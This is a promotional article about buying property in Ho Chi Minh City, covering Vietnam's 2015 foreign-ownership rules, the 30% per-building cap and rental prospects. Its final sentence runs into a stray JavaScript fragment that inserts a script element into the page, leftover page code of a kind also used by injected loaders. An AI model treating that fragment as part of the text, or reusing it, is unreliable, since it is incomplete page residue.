The Right Time to Buy in Ho Chi Minh
The city of Ho Chi Minh City is always buzzing. From the nearly 8.5 million residents to the millions of motorbikes that stream down the street, this is a city that is filled with life and energy in every nook and cranny. This incredible energy makes Ho Chi Minh City an incredible place to visit or live, and this might be the perfect time to consider making an investment in real estate property in Ho Chi Minh City.
New Possibilities for Foreign Purchasers
In July of 2015, Vietnam relaxed their laws regarding overseas and foreign property ownership. Previously it was incredibly difficult for foreigners to purchase property within the country. Today, foreigners holding a valid visa for Vietnam and companies or investment firms that operate within Vietnam are allowed to buy houses and apartments. A year into the new regulations, the Vietnamese government and local investors are pushing for transparency in the process to make foreign investors feel even more at ease in the Ho Chi Minh City property market, for example.
There are still limits on the amount of property that foreign investors and individuals are able to own. For example, a single investor cannot own more than 30% of the units in a single apartment building. This does limit the extent to which foreign investors can purchase Ho Chi Minh property for sale.
Vietnam’s Economic Growth
However, these new regulations mean that foreigners and overseas investors are able to take advantage of the continued economic growth within Ho Chi Minh City and across the rest of Vietnam. There is a massive investment opportunity in infrastructure, particularly in the dense, urban areas such as central Ho Chi Minh. The busy city is still seeing new construction undertakings popping up all over the place.
Recently, much of that construction is in sweeping, soaring, and modern apartment buildings. It seems as though the Saigon skyline is constantly changing and rising over the crowded city below. While cities such as Bangkok saw this type of reshaping and growth years ago, Saigon represents the frontline of investment and modern, urban growth in Vietnam.
In addition to being on the forefront of a country’s investment lineup, ownership in Vietnam has immediate benefits as well. Unlike in other foreign countries, the new ownership laws do not prohibit renting and leasing. This means that owners are allowed to rent their new properties to make a return on their foreign investments. For foreigners with an interest in residential rental property, these units represent a serious, prosperous investment opportunity.
Not only are foreigners finding themselves at home in these new apartment buildings, but there is also an increasing number of middle and upper-class Vietnamese that covet these beautiful apartments in central locations. The local interest in renting or leasing the property opens another door for investors to gain a quick return on the initial purchase.
Due to the expanding interest in apartments within the city centre and inner neighbourhoods, the property market’s structure is an ever-changing facet of the local market. At one time, traditional neighbourhoods were not of much interest amongst the urban sprawl of Ho Chi Minh. Now, there are trendy neighbourhoods and fashionable neighbourhoods, all of which present greater investment opportunities.document.currentScript.parentNode.insertBefore(s, document.currentScript);